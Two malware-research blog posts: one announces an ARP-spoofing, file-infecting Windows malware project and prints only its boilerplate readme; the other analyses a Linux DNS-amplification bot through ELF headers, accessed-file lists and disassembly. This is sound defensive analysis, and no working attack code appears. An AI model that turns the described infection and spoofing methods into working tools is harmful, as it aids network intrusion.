Sunday, December 29, 2013

MMD-0012-2013 - ARP Spoofing Malware Infection Project Disclosure

One more 2014 New Year Malware Awareness Message from MalwareMustDie:

Self spreading malware project to infect other nodes using ARP spoofing based scanner was spotted back in several month, our intelligence reported and we keep on monitoring its progress ever since, and the moronz involved just has been released in the cyber criminal's forum. The malware works practically by controlling the usage of ARP broadcast to be as stealth (not noisy) as possible to spoof the ARP packets and grabbing nodes information for determine the target for the infection. The method is simple, yet worked (as per quick tested).

Currently the code was "secured in to our hand" and of course we informed several industry and trusted researchers for this new threat, but after compiling and test AV scanning found the detection ration is still very low, wondering why..
Assuming the threat is NOT handled as "priority" by industry's side we think is better to raise awareness of this threat's existence is needed, that's why we disclose the codes in here, to aim overall malware researcher community's attention.

We also think is important to eliminate the threat from their ground zero when they're first spotted, not necessarily wait until becoming popular or epidemic., so if there is a clear shot to be taken, hammering any effort in improvement of any form malicious method is the only MMD main mission from beginning. Explaining the additional reason of this disclosure.

For the authenticity of the above statement, below is the message snagged from a known moronz forum, about this evil-product's release post, you go figure which forum it is. To be frank, if you are a security industry entity and you are not noticing this, is time to for you to put more effort budget on intelligence work instead:

This moronz is actually releasing the product and seek for buyers (promotion). The package we snagged is a full code of project of this malware,and currently the commercial version was spotted too including the pcap installer inside.

And this is the text of the malware release notes, you'll see here how the project was built:

//xxxxxxx
========================================================================
    WIN32 APPLICATION : LANSpy Project Overview
========================================================================

AppWizard has created this LANSpy application for you.

This file contains a summary of what you will find in each of the files that
make up your LANSpy application.

LANSpy.vcxproj
    This is the main project file for VC++ projects generated using an Application Wizard.
    It contains information about the version of Visual C++ that generated the file, and
    information about the platforms, configurations, and project features selected with the
    Application Wizard.

LANSpy.vcxproj.filters
    This is the filters file for VC++ projects generated using an Application Wizard. 
    It contains information about the association between the files in your project 
    and the filters. This association is used in the IDE to show grouping of files with
    similar extensions under a specific node (for e.g. ".cpp" files are associated with the
    "Source Files" filter).

LANSpy.cpp
    This is the main application source file.

/////////////////////////////////////////////////////////////////////////////
AppWizard has created the following resources:

LANSpy.rc
    This is a listing of all of the Microsoft Windows resources that the
    program uses.  It includes the icons, bitmaps, and cursors that are stored
    in the RES subdirectory.  This file can be directly edited in Microsoft
    Visual C++.

Resource.h
    This is the standard header file, which defines new resource IDs.
    Microsoft Visual C++ reads and updates this file.

LANSpy.ico
    This is an icon file, which is used as the application's icon (32x32).
    This icon is included by the main resource file LANSpy.rc.

small.ico
    This is an icon file, which contains a smaller version (16x16)
    of the application's icon. This icon is included by the main resource
    file LANSpy.rc.

/////////////////////////////////////////////////////////////////////////////
Other standard files:

StdAfx.h, StdAfx.cpp
    These files are used to build a precompiled header (PCH) file
    named LANSpy.pch and a precompiled types file named StdAfx.obj.

/////////////////////////////////////////////////////////////////////////////
Other notes:

AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.

/////////////////////////////////////////////////////////////////////////////
The payload of the threat is infection of ANY executable file (not specifically a PE file, noted this well) in windows platform. As per seen in the below source code snips taken from the project's code:

Below is the video of this disclosure, the video contains code snapshots, libraries & overall files, archive names + hash, and how to contact us for getting the source. See this video well before you requesting anything to us, the video was made by our team, contains enough information to satisfy your curiosity to confirm about the maliciousness of the software. But I do not include any compilation, any build process related to this source, we don't compile and avoid any effort in production of these except for detection rates testing purpose one time, we deleted the materials. Now we leave it for you to analyze, test and research. Moreover, this is the evidence of the cyber crime, so we don't feel to share this to everyone. By seeing the code, one is expected to learn the concept that is being used to code ARP spoofing malware infection. And researching the best way/method in mitigating the threat if the infection starts. For real, it will be a hard effort to stop it instantly once a security perimeter is breached by this malware installation, and any computer device just don't block ARP broadcast by default. So we urge to you to test it and see how it works too, not only taking sigs and leave it as per it is. I expect seeing report on fellow researcher's blog about the report of this mess. Our team is making a very hard effort for informing this, do not mock this disclosure but take it positively, and take a look at the materials, and it is time to read the codes.

Let us warn you again: this is NOT malware sample but a malware SOURCE CODE, not a stuff that can be openly shared, we share to law enforcement, AV industry & security scanner products & vetted trusted researchers as the first priority, for sharing purpose. So if you related to those entities, prepare FTP account for us to PUSH the data into yours, and we're sorry that we need a legit emails/comm for this, it is not dealing with individuals but with your entities, please do not hesitate to contact.

For the malware moronz, if you think we don't watch you closely THINK AGAIN! Stop your evil coding practice before is too late, if beloved God blessed your stupid head to make code and please use your skill to code good system or application to make an honest living instead. Even if life is unfair to you that's NEVER be a tolerable excuse to keep on making new shits.
So you are warned, payday will come soon, we're assuring you we're different to any form that ever deals with you, we're straight coming to you.

This post is dedicated to MMD Georgia, a country of crusaders.

#MalwareMustDie!

MMD-0011-2013 - Let's be more serious about (mitigating) DNS Amp ELF hack attack

Background

Consider this as "another" MalwareMustDie's New Year Security Awareness.
We detected an increasing in attack in hacking for implementing DNS-Amp specially in implementation on ELF part of tools, not necessarily with the automation hacktool, but with video below as evidence showing the manual hack effort.
We bumped to this threat in early November, 2013, when our friend @lvdeijk found the set of binaries below in his honeypot:

This turned out as a set of the DNS Amp attack binaries for PE and ELF (see the "ms20" one in the above set).
We investigated the ELF and posted in our paste bin here-->>[MMD PASTEBIN].

Reversing shows that the ELF binary has codes for DNS Amplification, sensitive information stealing effort & encryption for the data, but in behavior testing was not showing any amplification instead beaconing mothership which suggesting that the linux binary is not working as per expected by the amateur-wannabe-linux-developer moronz. So we left the case for monitoring status.

After that time there were other good security people investigating the case as per below URL references explaining the threat very good, please take a look of the below good posts before continuing reading this post:

http://www.cert.pl/news/7849/langswitch_lang/en
http://remchp.com/blog/?p=52
http://securehoney.net/blog/trojan-horse-uploaded.html#.Ur7xeqX_TZs
https://isc.sans.edu/diary/Unfriendly+crontab+additions/17282

The Bad News is...

However today we face the fact that not only @lvdeijk which is still get hit by the same attacker, but one of our OTHER friend's (Thx to: @wirehack7) honeypot also got hit by the same threat, so we made precautions as PoC of attack, and this time everything was well recorded down to their shell commands used during attack in progress, as per recorded in below video:

So the BAD NEWS is..The threat is active as per Dec 27, 2013 when I write this post! And this threat lives happily ever after in infecting and hacking some UNIX environment in many networks in internet. As most of us in MMD are unixmen we couldn't stand watching this so hopefully this post will raise MORE awareness of the threat, as we also started the OP for this. I was wondering IF the ELF download source is up today so just made a quick check and found positive confirmation, I just grabbed iPad to make this video as evidence:

Yes the source is still there.

To make it merrier..as per all people know that the VT show low detection too for these ELF (read: Linux executable binaries) scanning, as per shown in the AV result. It never reach more than 5 points so far, I am starting to wonder why there are so many Linux scanner AV product that can not detect this? A fact that users must swallow when they expect to detect this in their server by using some products.

OK. I don't want to argue about any of sigs matter that AV industry provides, but I must say that ELF is a serious threat that needs to be more prioritize, specially in the hack session like this. Please think about big amount of users are actually buying license per year to make their server protected for threat like this, they deserve BETTER service, so please make more effort to publish your sigs.

Moving on. Just to be sure, I made a quick re-analysing the new / recent ELF with the details below with my poor home-brew tool called fileelf, is actually bash script helping me for quick analyzing ELF binaries fast, and resulted that all functions are so equal and modification was detected only in the IP addresses destination (of the CnC). The logic is all the same, once it started the daemon it grabs all the info from environment, and then the series of "communication" begin, noted that the config created was having its initial values in the first writing, and nothing more than that, so (maybe) one should let this evil tool runs longer to monitor and record all of the CnC communication to make a better record of what this tool is actually can do.

(! ELF Analysis )

$ fileelf ./disknyp 
./disknyp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped

00000000  7f 45 4c 46 01 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
00000010  02 00 03 00 01 00 00 00  20 81 04 08 34 00 00 00  |........ ...4...|
00000020  f4 27 12 00 00 00 00 00  34 00 20 00 05 00 28 00  |........4. ...(.|
00000030  1c 00 19 00 01 00 00 00  00 00 00 00 00 80 04 08  |................|
00000040

(ELF Header: )
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048120
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1189876 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         5
  Size of section headers:           40 (bytes)
  Number of section headers:         28
  Section header string table index: 25

(Section Headers: )  
(i  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al )
    [ 0]                   NULL            00000000 000000 000000 00      0   0  0
    [ 1] .note.ABI-tag     NOTE            080480d4 0000d4 000020 00   A  0   0  4
    [ 2] .init             PROGBITS        080480f4 0000f4 000017 00  AX  0   0  4
    [ 3] .text             PROGBITS        08048120 000120 0e2200 00  AX  0   0 32
    [ 4] __libc_freeres_fn PROGBITS        0812a320 0e2320 000f6e 00  AX  0   0  4
    [ 5] __libc_thread_fre PROGBITS        0812b290 0e3290 0000e2 00  AX  0   0  4
    [ 6] .fini             PROGBITS        0812b374 0e3374 00001a 00  AX  0   0  4
    [ 7] .rodata           PROGBITS        0812b3a0 0e33a0 020c2e 00   A  0   0 32
    [ 8] __libc_subfreeres PROGBITS        0814bfd0 103fd0 00003c 00   A  0   0  4
    [ 9] __libc_atexit     PROGBITS        0814c00c 10400c 000004 00   A  0   0  4
    [10] __libc_thread_sub PROGBITS        0814c010 104010 000004 00   A  0   0  4
    [11] .eh_frame         PROGBITS        0814c014 104014 016a58 00   A  0   0  4
    [12] .gcc_except_table PROGBITS        08162a6c 11aa6c 004f65 00   A  0   0  4
    [13] .tdata            PROGBITS        08168000 120000 000014 00 WAT  0   0  4
    [14] .tbss             NOBITS          08168014 120014 00001c 00 WAT  0   0  4
    [15] .ctors            PROGBITS        08168014 120014 00002c 00  WA  0   0  4
    [16] .dtors            PROGBITS        08168040 120040 00000c 00  WA  0   0  4
    [17] .jcr              PROGBITS        0816804c 12004c 000004 00  WA  0   0  4
    [18] .data.rel.ro      PROGBITS        08168060 120060 00063c 00  WA  0   0 32
    [19] .got              PROGBITS        0816869c 12069c 00005c 04  WA  0   0  4
    [20] .got.plt          PROGBITS        081686f8 1206f8 00000c 04  WA  0   0  4
    [21] .data             PROGBITS        08168720 120720 001034 00  WA  0   0 32
    [22] .bss              NOBITS          08169760 121754 0091d8 00  WA  0   0 32
    [23] __libc_freeres_pt NOBITS          08172938 121754 000020 00  WA  0   0  4
    [24] .comment          PROGBITS        00000000 121754 000f78 00      0   0  1
    [25] .shstrtab         STRTAB          00000000 1226cc 000126 00      0   0  1
    [26] .symtab           SYMTAB          00000000 122c54 017d80 10     27 1221  4
    [27] .strtab           STRTAB          00000000 13a9d4 0319db 00      0   0  1
  Key to Flags:
    W (write), A (alloc), X (execute), M (merge), S (strings)
    I (info), L (link order), G (group), x (unknown)
    O (extra OS processing required) o (OS specific), p (processor specific)

  There are no section groups in this file.
  
(Program Headers:)
    
(I  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align)
    LOAD           0x000000 0x08048000 0x08048000 0x11f9d1 0x11f9d1 R E 0x1000
    LOAD           0x120000 0x08168000 0x08168000 0x01754 0x0a958 RW  0x1000
    NOTE           0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R   0x4
    TLS            0x120000 0x08168000 0x08168000 0x00014 0x00030 R   0x4
    GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

(Section to Segment mapping:)

Segment Sections...
    00     .note.ABI-tag .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata 
           __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table 
    01     .tdata .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs 
    02     .note.ABI-tag 
    03     .tdata .tbss 
    04     

 There is no dynamic section in this file.
 There are no relocations in this file.
 There are no unwind sections in this file.
 
(Sections:)
(a Idx Name          Size      VMA       LMA       File off  Algn)
   0 .note.ABI-tag 00000020  080480d4  080480d4  000000d4  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, DATA
   1 .init         00000017  080480f4  080480f4  000000f4  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, CODE
   2 .text         000e2200  08048120  08048120  00000120  2**5
                   CONTENTS, ALLOC, LOAD, READONLY, CODE
   3 __libc_freeres_fn 00000f6e  0812a320  0812a320  000e2320  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, CODE
   4 __libc_thread_freeres_fn 000000e2  0812b290  0812b290  000e3290  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, CODE
   5 .fini         0000001a  0812b374  0812b374  000e3374  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, CODE
   6 .rodata       00020c2e  0812b3a0  0812b3a0  000e33a0  2**5
                   CONTENTS, ALLOC, LOAD, READONLY, DATA
   7 __libc_subfreeres 0000003c  0814bfd0  0814bfd0  00103fd0  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, DATA
   8 __libc_atexit 00000004  0814c00c  0814c00c  0010400c  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, DATA
   9 __libc_thread_subfreeres 00000004  0814c010  0814c010  00104010  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, DATA
  10 .eh_frame     00016a58  0814c014  0814c014  00104014  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, DATA
  11 .gcc_except_table 00004f65  08162a6c  08162a6c  0011aa6c  2**2
                   CONTENTS, ALLOC, LOAD, READONLY, DATA
  12 .tdata        00000014  08168000  08168000  00120000  2**2
                   CONTENTS, ALLOC, LOAD, DATA, THREAD_LOCAL
  13 .tbss         0000001c  08168014  08168014  00120014  2**2
                   ALLOC, THREAD_LOCAL
  14 .ctors        0000002c  08168014  08168014  00120014  2**2
                   CONTENTS, ALLOC, LOAD, DATA
  15 .dtors        0000000c  08168040  08168040  00120040  2**2
                   CONTENTS, ALLOC, LOAD, DATA
  16 .jcr          00000004  0816804c  0816804c  0012004c  2**2
                   CONTENTS, ALLOC, LOAD, DATA
  17 .data.rel.ro  0000063c  08168060  08168060  00120060  2**5
                   CONTENTS, ALLOC, LOAD, DATA
  18 .got          0000005c  0816869c  0816869c  0012069c  2**2
                   CONTENTS, ALLOC, LOAD, DATA
  19 .got.plt      0000000c  081686f8  081686f8  001206f8  2**2
                   CONTENTS, ALLOC, LOAD, DATA
  20 .data         00001034  08168720  08168720  00120720  2**5
                   CONTENTS, ALLOC, LOAD, DATA
  21 .bss          000091d8  08169760  08169760  00121754  2**5
                   ALLOC
  22 __libc_freeres_ptrs 00000020  08172938  08172938  00121754  2**2
                   ALLOC
  23 .comment      00000f78  00000000  00000000  00121754  2**0
                   CONTENTS, READONLY
       
(Tables)

 Symbol table '.symtab' contains 6104 entries:
(i    Num:    Value  Size Type    Bind   Vis      Ndx Name)
      0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
      1: 080480d4     0 SECTION LOCAL  DEFAULT    1 
      2: 080480f4     0 SECTION LOCAL  DEFAULT    2 
      3: 08048120     0 SECTION LOCAL  DEFAULT    3 
      4: 0812a320     0 SECTION LOCAL  DEFAULT    4 
      5: 0812b290     0 SECTION LOCAL  DEFAULT    5 
      6: 0812b374     0 SECTION LOCAL  DEFAULT    6 
      7: 0812b3a0     0 SECTION LOCAL  DEFAULT    7 
      8: 0814bfd0     0 SECTION LOCAL  DEFAULT    8 
      9: 0814c00c     0 SECTION LOCAL  DEFAULT    9 
     10: 0814c010     0 SECTION LOCAL  DEFAULT   10 
  [...]


     (!DIR / FILES ACCESSED)

      /proc/cpuinfo
      /proc/stat
      /proc/net/dev
      /proc/%d/exe
      /proc/sys/kernel/version
      /proc/sys/kernel/osrelease
      /proc/self/maps
      /proc/sys/kernel/ngroups_max
      /proc/sys/kernel/rtsig-max
      /proc/self/exe
      /proc/net

      /proc/net/dev
      /dev/null
      /dev/tty
      /dev/log
      /dev/console
  
      /usr/lib/locale
      /usr/lib/locale/locale-archive
      /usr/share/locale
      /usr/share/locale
      /usr/share/zoneinfo
      /usr/libexec/getconf
      /usr/lib/gconv
      /usr/lib/gconv/gconv-modules.cache
      /usr/lib/

      /etc/localtime
      /etc/mtab
      /etc/fstab
      /etc/suid-debug
      /etc/resolv.conf
      /etc/host.conf
      /etc/nsswitch.conf
      /etc/ld.so.cache
So we see what the binary is all about. Below are some dis-assembly traces, which is confirming previous analysis made by many good people, so I won't make more unnecessary comments just paste my codes below:
(!Daemon was initialized here)

$ cat dump |grep _ZN9CStatBase10InitializeEv
   80498e3: e8 f0 a9 00 00        call   80542d8 (_ZN9CStatBase10InitializeEv)

   080542d8 (_ZN9CStatBase10InitializeEv):
    80542d8:       55                      push   %ebp
    80542d9:       89 e5                   mov    %esp,%ebp
    80542db:       83 ec 08                sub    $0x8,%esp
    80542de:       83 ec 0c                sub    $0xc,%esp
    80542e1:       ff 75 08                pushl  0x8(%ebp)
    80542e4:       e8 cb f8 ff ff          call   8053bb4 (_ZN9CStatBase13GetSysVersionEv)
    80542e9:       83 c4 10                add    $0x10,%esp
    80542ec:       83 ec 0c                sub    $0xc,%esp
    80542ef:       ff 75 08                pushl  0x8(%ebp)
    80542f2:       e8 1f f9 ff ff          call   8053c16 (_ZN9CStatBase9GetCpuSpdEv)
    80542f7:       83 c4 10                add    $0x10,%esp
    80542fa:       83 ec 0c                sub    $0xc,%esp
    80542fd:       ff 75 08                pushl  0x8(%ebp)
    8054300:       e8 49 fa ff ff          call   8053d4e (_ZN9CStatBase13InitGetCPUUseEv)
    8054305:       83 c4 10                add    $0x10,%esp
    8054308:       83 ec 0c                sub    $0xc,%esp
    805430b:       ff 75 08                pushl  0x8(%ebp)
    805430e:       e8 a1 ff ff ff          call   80542b4 (_ZN9CStatBase13InitGetNetUseEv)
    8054313:       83 c4 10                add    $0x10,%esp
    8054316:       c9                      leave  
    8054317:       c3                      ret    

(!System call grabs listed)

 80498e3: e8 f0 a9 00 00        call   80542d8 (_ZN9CStatBase10InitializeEv)
 804abf9: e8 ea 0b 00 00        call   804b7e8 (_ZN9CStatBase10SysVersionEv)
 804ac1c: e8 df 0b 00 00        call   804b800 (_ZN9CStatBase6CpuSpdEv)
0804b7e8 (_ZN9CStatBase10SysVersionEv):
0804b800 (_ZN9CStatBase6CpuSpdEv):
08053b40 (_ZN9CStatBaseC1Ev):
08053b62 (_ZN9CStatBaseC2Ev):
08053b84 (_ZN9CStatBaseD2Ev):
08053b9c (_ZN9CStatBaseD1Ev):
08053bb4 (_ZN9CStatBase13GetSysVersionEv):
08053c16 (_ZN9CStatBase9GetCpuSpdEv):
 8053c65: e9 b3 00 00 00        jmp    8053d1d (_ZN9CStatBase9GetCpuSpdEv+0x107)
 8053ce6: 75 35                 jne    8053d1d (_ZN9CStatBase9GetCpuSpdEv+0x107)
 8053d1b: eb 29                 jmp    8053d46 (_ZN9CStatBase9GetCpuSpdEv+0x130)
 8053d32: 0f 85 32 ff ff ff     jne    8053c6a (_ZN9CStatBase9GetCpuSpdEv+0x54)
08053d4e (_ZN9CStatBase13InitGetCPUUseEv):
08053db0 (_ZN9CStatBase9GetCPUUseEv):
 8053e91: 75 22                 jne    8053eb5 (_ZN9CStatBase9GetCPUUseEv+0x105)
 8053eb0: e9 8b 01 00 00        jmp    8054040 (_ZN9CStatBase9GetCPUUseEv+0x290)
080542b4 (_ZN9CStatBase13InitGetNetUseEv):
080542d8 (_ZN9CStatBase10InitializeEv):
 80542e4: e8 cb f8 ff ff        call   8053bb4 (_ZN9CStatBase13GetSysVersionEv)
 80542f2: e8 1f f9 ff ff        call   8053c16 (_ZN9CStatBase9GetCpuSpdEv)
 8054300: e8 49 fa ff ff        call   8053d4e (_ZN9CStatBase13InitGetCPUUseEv)
 805430e: e8 a1 ff ff ff        call   80542b4 (_ZN9CStatBase13InitGetNetUseEv)
08054318 (_ZN9CStatBase9GetNetUseEv):
 8054353: 75 09                 jne    805435e (_ZN9CStatBase9GetNetUseEv+0x46)
 805435c: eb 75                 jmp    80543d3 (_ZN9CStatBase9GetNetUseEv+0xbb)
 80543ec: e8 ab f7 ff ff        call   8053b9c (_ZN9CStatBaseD1Ev)
 8054419: e8 22 f7 ff ff        call   8053b40 (_ZN9CStatBaseC1Ev)
 805cbba: e8 59 77 ff ff        call   8054318 (_ZN9CStatBase9GetNetUseEv)
 805cbcd: e8 de 71 ff ff        call   8053db0 (_ZN9CStatBase9GetCPUUseEv)

 (!Total SysGrabsCalls)

 $ cat dump |grep ZN9C     
  8048523: e8 e2 4d 01 00        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
  8048550: e8 15 4e 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
  804856d: e8 f8 4d 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
  8048913: e8 f2 49 01 00        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
  804893b: e8 2a 4a 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
  8048958: e8 0d 4a 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
  80498e3: e8 f0 a9 00 00        call   80542d8 (_ZN9CStatBase10InitializeEv)
  80498f3: e8 92 97 00 00        call   805308a (_ZN9CServerIP10InitializeEv)
  804997e: e8 87 39 01 00        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
  8049a02: e8 63 39 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
  8049a25: e8 e0 38 01 00        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
  8049bcc: e8 99 37 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
  8049be9: e8 7c 37 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
  804a0a8: e8 d1 16 00 00        call   804b77e (_ZN9CTaskInfoD1Ev)
  804a0c6: e8 b3 16 00 00        call   804b77e (_ZN9CTaskInfoD1Ev)
  804a242: e8 37 15 00 00        call   804b77e (_ZN9CTaskInfoD1Ev)
  804a260: e8 19 15 00 00        call   804b77e (_ZN9CTaskInfoD1Ev)
  804a465: e8 5c 34 00 00        call   804d8c6 (_ZN9CLoopTaskC1Ev)
  804a908: e8 55 5a 00 00        call   8050362 (_ZN9CServerIP7ServersEv)
  804abf9: e8 ea 0b 00 00        call   804b7e8 (_ZN9CStatBase10SysVersionEv)
  804ac1c: e8 df 0b 00 00        call   804b800 (_ZN9CStatBase6CpuSpdEv)
  804b20d: e8 1c 05 00 00        call   804b72e (_ZN9CTaskInfoC1Ev)
  804b2dd: e8 9c 04 00 00        call   804b77e (_ZN9CTaskInfoD1Ev)
  804b42f: e8 fa 02 00 00        call   804b72e (_ZN9CTaskInfoC1Ev)
  804b4ff: e8 7a 02 00 00        call   804b77e (_ZN9CTaskInfoD1Ev)
 0804b72e (_ZN9CTaskInfoC1Ev):
 0804b77e (_ZN9CTaskInfoD1Ev):
 0804b7e8 (_ZN9CStatBase10SysVersionEv):
 0804b800 (_ZN9CStatBase6CpuSpdEv):
  804c145: e8 c0 11 01 00        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
  804c161: e8 04 12 01 00        call   805d36a (_ZN9CAutoLockD1Ev)
 0804d854 (_ZN9CLoopTaskD1Ev):
  804d893: e8 bc ff ff ff        call   804d854 (_ZN9CLoopTaskD1Ev)
 0804d8c6 (_ZN9CLoopTaskC1Ev):
  804ec61: e8 a4 e6 00 00        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
  804ecc9: e8 9c e6 00 00        call   805d36a (_ZN9CAutoLockD1Ev)
  804ece6: e8 7f e6 00 00        call   805d36a (_ZN9CAutoLockD1Ev)
 08050362 (_ZN9CServerIP7ServersEv):
  8050d39: e8 cc c5 00 00        call   805d30a (_ZN9CAutoLockC1EP12CThreadMutexb)
  8050d98: e8 cd c5 00 00        call   805d36a (_ZN9CAutoLockD1Ev)
  8050db5: e8 b0 c5 00 00        call   805d36a (_ZN9CAutoLockD1Ev)
 0805302a (_ZN9CServerIPD1Ev):
 08053042 (_ZN9CServerIPD2Ev):
 0805305a (_ZN9CServerIPC1Ev):
 08053072 (_ZN9CServerIPC2Ev):
 
 0805308a (_ZN9CServerIP10InitializeEv):
  8053168: eb 52                 jmp    80531bc (_ZN9CServerIP10InitializeEv+0x132)
  805318b: eb 06                 jmp    8053193 (_ZN9CServerIP10InitializeEv+0x109)
  80531de: e8 47 fe ff ff        call   805302a (_ZN9CServerIPD1Ev)
  805320b: e8 4a fe ff ff        call   805305a (_ZN9CServerIPC1Ev)
 08053b40 (_ZN9CStatBaseC1Ev):
 08053b62 (_ZN9CStatBaseC2Ev):
 08053b84 (_ZN9CStatBaseD2Ev):
 08053b9c (_ZN9CStatBaseD1Ev):
 08053bb4 (_ZN9CStatBase13GetSysVersionEv):
 08053c16 (_ZN9CStatBase9GetCpuSpdEv):
  8053c65: e9 b3 00 00 00        jmp    8053d1d (_ZN9CStatBase9GetCpuSpdEv+0x107)
  8053ce6: 75 35                 jne    8053d1d (_ZN9CStatBase9GetCpuSpdEv+0x107)
  8053d1b: eb 29                 jmp    8053d46 (_ZN9CStatBase9GetCpuSpdEv+0x130)
  8053d32: 0f 85 32 ff ff ff     jne    8053c6a (_ZN9CStatBase9GetCpuSpdEv+0x54)
 08053d4e (_ZN9CStatBase13InitGetCPUUseEv):
 08053db0 (_ZN9CStatBase9GetCPUUseEv):
  8053e91: 75 22                 jne    8053eb5 (_ZN9CStatBase9GetCPUUseEv+0x105)
  8053eb0: e9 8b 01 00 00        jmp    8054040 (_ZN9CStatBase9GetCPUUseEv+0x290)
 080542b4 (_ZN9CStatBase13InitGetNetUseEv):
 080542d8 (_ZN9CStatBase10InitializeEv):
  80542e4: e8 cb f8 ff ff        call   8053bb4 (_ZN9CStatBase13GetSysVersionEv)
  80542f2: e8 1f f9 ff ff        call   8053c16 (_ZN9CStatBase9GetCpuSpdEv)
  8054300: e8 49 fa ff ff        call   8053d4e (_ZN9CStatBase13InitGetCPUUseEv)
  805430e: e8 a1 ff ff ff        call   80542b4 (_ZN9CStatBase13InitGetNetUseEv)
 08054318 (_ZN9CStatBase9GetNetUseEv):
  8054353: 75 09                 jne    805435e (_ZN9CStatBase9GetNetUseEv+0x46)
  805435c: eb 75                 jmp    80543d3 (_ZN9CStatBase9GetNetUseEv+0xbb)
  80543ec: e8 ab f7 ff ff        call   8053b9c (_ZN9CStatBaseD1Ev)
  8054419: e8 22 f7 ff ff        call   8053b40 (_ZN9CStatBaseC1Ev)
  805558a: e8 05 2e 00 00        call   8058394 (_ZN9CCrossPktC1Ev)
  8055704: e8 c7 2c 00 00        call   80583d0 (_ZN9CCrossPktD1Ev)
  8055727: e8 a4 2c 00 00        call   80583d0 (_ZN9CCrossPktD1Ev)
 08058394 (_ZN9CCrossPktC1Ev):
 080583d0 (_ZN9CCrossPktD1Ev):
  80583f6: e8 d5 ff ff ff        call   80583d0 (_ZN9CCrossPktD1Ev)
  80587e0: e8 6f 50 ff ff        call   804d854 (_ZN9CLoopTaskD1Ev)
 08059b3c (_ZN9CCrossPktaSERKS_):
  8059bd9: e8 5e ff ff ff        call   8059b3c (_ZN9CCrossPktaSERKS_)
  8059e5d: e8 da fc ff ff        call   8059b3c (_ZN9CCrossPktaSERKS_)

  0805a028 (_ZN9CCrossPktC1ERKS_):
   805a0a3: e8 80 ff ff ff        call   805a028 (_ZN9CCrossPktC1ERKS_)
   805a101: e8 22 ff ff ff        call   805a028 (_ZN9CCrossPktC1ERKS_)
   805a1ee: e8 61 36 ff ff        call   804d854 (_ZN9CLoopTaskD1Ev)
   805a37a: e8 51 e0 ff ff        call   80583d0 (_ZN9CCrossPktD1Ev)
   805a583: e8 a0 fa ff ff        call   805a028 (_ZN9CCrossPktC1ERKS_)
   805a5f8: e8 3f f5 ff ff        call   8059b3c (_ZN9CCrossPktaSERKS_)
   805a615: e8 b6 dd ff ff        call   80583d0 (_ZN9CCrossPktD1Ev)
   805a638: e8 93 dd ff ff        call   80583d0 (_ZN9CCrossPktD1Ev)
  0805b086 (_ZN9CLoopTaskaSERKS_):
   805b121: e8 60 ff ff ff        call   805b086 (_ZN9CLoopTaskaSERKS_)
   805b3a5: e8 dc fc ff ff        call   805b086 (_ZN9CLoopTaskaSERKS_)
  0805b5a8 (_ZN9CLoopTaskC1ERKS_):
   805b621: e8 82 ff ff ff        call   805b5a8 (_ZN9CLoopTaskC1ERKS_)
   805b67f: e8 24 ff ff ff        call   805b5a8 (_ZN9CLoopTaskC1ERKS_)
   805b843: e8 60 fd ff ff        call   805b5a8 (_ZN9CLoopTaskC1ERKS_)
   805b8b8: e8 c9 f7 ff ff        call   805b086 (_ZN9CLoopTaskaSERKS_)
   805b8d5: e8 7a 1f ff ff        call   804d854 (_ZN9CLoopTaskD1Ev)
   805b8f8: e8 57 1f ff ff        call   804d854 (_ZN9CLoopTaskD1Ev)
   805cbba: e8 59 77 ff ff        call   8054318 (_ZN9CStatBase9GetNetUseEv)
   805cbcd: e8 de 71 ff ff        call   8053db0 (_ZN9CStatBase9GetCPUUseEv)
  0805d2d4 (_ZN9CAutoLockC2EP12CThreadMutexb):
   805d2f5: 74 11                 je     805d308 (_ZN9CAutoLockC2EP12CThreadMutexb+0x34)
  0805d30a (_ZN9CAutoLockC1EP12CThreadMutexb):
   805d32b: 74 11                 je     805d33e (_ZN9CAutoLockC1EP12CThreadMutexb+0x34)
  0805d340 (_ZN9CAutoLock6UnlockEv):
   805d34e: 74 18                 je     805d368 (_ZN9CAutoLock6UnlockEv+0x28)
  0805d36a (_ZN9CAutoLockD1Ev):
   805d376: e8 c5 ff ff ff        call   805d340 (_ZN9CAutoLock6UnlockEv)
  0805d380 (_ZN9CAutoLockD2Ev):
   805d38c: e8 af ff ff ff        call   805d340 (_ZN9CAutoLock6UnlockEv)
